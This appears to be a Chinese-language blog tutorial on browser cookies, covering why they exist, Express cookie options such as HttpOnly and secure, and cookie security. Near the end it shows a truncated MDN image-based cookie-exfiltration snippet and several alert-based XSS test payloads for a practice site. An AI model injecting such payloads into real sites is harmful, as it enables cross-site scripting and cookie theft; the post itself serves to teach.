為什麼需要 Cookie
在前兩篇文章小編介紹了非同步 AJAX和網頁即時通訊技術,可以發現前後端 API 的溝通只關注在 “傳入” 和 “傳出” 或 “事件”,過程中 HTTP 的溝通並沒有包含狀態。
所以若重新整理或再次開啟相關頁面需回到上一次的狀態時,Cookie 提供狀態的存放空間來恢復前一次瀏覽。
瀏覽器雖然有提供 localStorage、sessionStorage、IndexedDB,但 Cookie 有個特殊的預設行為是每次都會跟著請求回到伺服器。
是不是常常被另外一半說,我講過了你都沒在聽,或是你上次跟我講過了你都不記得?
Cookie 可以幫助你在回應時,結合一些 “記起來” 的東西到回應裡,但實際上人與人之間該怎麼做? That is a question QQ
Cookie 使用場景
商業上: Cookie 因為會跟著請求回到伺服器這個特性,常被用來紀錄特定的消費者行為
流程上: 會記錄帳號相關狀態,常見的第三方登入狀態儲存就會運用到 Cookie,那 Cookie 要存多久? 存多久要依照商業邏輯而定,譬如希望用戶一天內不需重新登入就可以設定一天
個人化: 不想存進去資料庫但又想要客製的部分
Cookie 安全問題
首先最簡單的是如果函式庫 CDN 的來源如果是不安全的 (來源是來自海峽對岸,內建固定把資料傳回北京?
今天只要 CDN 的函式庫被駭客駭掉了,當連結不變及原有的封裝不變的前題下,裡面簡單放一些偷資訊的程式碼,也許在你一定會按到的按鈕上面又加上 onClick 事件,在你按下去的過程中,資料就會在沒有注意到的情況下被送出去了。
MDN 的文件上直接說這樣的機制本身是不安全的,但比起使用瀏覽器本身的 storage,Cookie 至少還有參數可以設定,主要都是想辦法讓我們的 script 可以在其他人的網站執行。
Cookie 實作:
Cookie 若從設定來看可以粗分成兩種,那個參數就是 HttpOnly
- 有 HttpOnly: 由伺服器產生,只有伺服器端可以進行操作
- 無 HttpOnly: 透過
document.cookie
來存取,可以從瀏覽器端透過程式來操作,會有 XSS 問題
運用 Express 從 Server 端設定 Cookie 的方式也很簡單,關鍵就是知道有哪幾個參數。
- domain: 鎖使用網域
- path: 鎖使用路徑
- secure: HTTPS 才可以使用
- expires: 設定為常駐的 Cookie 會在特定日期消失
- maxAge: 設定為常駐的 Cookie 會在一個時間長度後消失
- encode: 預設是 encodeURIComponent
- httpOnly: 只有伺服器端可以存取
1 | res.Cookie("rememberme", "1", { |
Cookie 安全機制
由於 Cookie 會隨著請求一起回到伺服器,想到的安全機制有
- Cookie 有 Domain 以及路徑的來控制作用範圍
- 設計拿取敏感資料的 Token 限使用一次、綁定裝置的 Fingerprint 甚至是 IP 位置
在 MDN 文件中有個殭屍 Cookie 或是 Facebook 像素我覺得也是類似的概念,都是用來鎖定使用者。
可以做到在使用者做任何動作的時候,就同時把這樣的動作和這個 ID 進行綁定,這樣一來只要下次又發現這個 id 我們就可以進行對應行動。
不過當代函式庫像是 React 就會特別註明 dangerously 像是這個 dangerouslySetInnerHTML,這就代表是會執行的部分。
假設今天被埋了一張假的圖片,底下是 MDN 上的範例,這樣似乎代表圖片載入的時候,我們的 Cookie 也爆露了。
1 | new Image().src = |
底下有一個網站可以讓大家練習,透過輸入框的輸入來執行我們的腳本。
aaa<bbb>ccc/ddd'eee"fff;ggg:hhh
<script> alert(document.domain) </script>
"><script> alert(document.domain) </script>
在測試的過程中發現 Chrome 超厲害竟然會自己偵測危險,也許是這樣的錯誤太低級了,當我們在瀏覽器裡面停用 Cookie 的時候 sessionStorage 跟 localStorage 也會被擋,那重新整理又需要狀態怎麼辦,Facebook 的解決方法是把你登出,
喜歡這篇文章,請幫忙拍拍手喔 🤣